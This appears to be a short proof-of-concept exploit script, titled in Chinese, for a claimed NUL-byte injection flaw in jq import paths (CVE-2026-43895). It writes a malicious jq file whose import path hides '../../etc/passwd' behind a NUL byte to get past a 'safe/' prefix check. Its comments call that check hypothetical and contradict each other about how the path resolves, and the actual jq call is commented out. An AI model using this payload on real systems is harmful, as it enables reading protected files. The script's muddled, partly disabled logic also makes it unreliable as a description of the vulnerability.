CVE-2026-43895 jq路径验证绕过漏洞

import subprocess import os # PoC for CVE-2026-43895: NUL Byte Injection in jq import paths # This script demonstrates the concept of exploiting the mismatch between # logical path validation and physical path resolution. # 1. Create a malicious jq file containing an import with a NUL byte. # The payload attempts to bypass a hypothetical check requiring 'safe/' prefix. # Logical path: 'safe/module\x00../../etc/passwd' # C-resolved path: 'safe/module' (if check looks at end) or '../../etc/passwd' (if check looks at start) # Based on the CVE description: logical string is accepted, but resolved path is truncated. payload = b'import "safe/module\x00../../etc/passwd"; .' with open('malicious.jq', 'wb') as f: f.write(payload) print("[+] Created malicious.jq with NUL byte injection payload.") # 2. Execute jq with the malicious file. # In a vulnerable version, jq might resolve this incorrectly. try: print("[+] Running jq...") # result = subprocess.run(['jq', '-f', 'malicious.jq'], capture_output=True) # print(result.stdout.decode()) except Exception as e: print(f"Error running jq: {e}")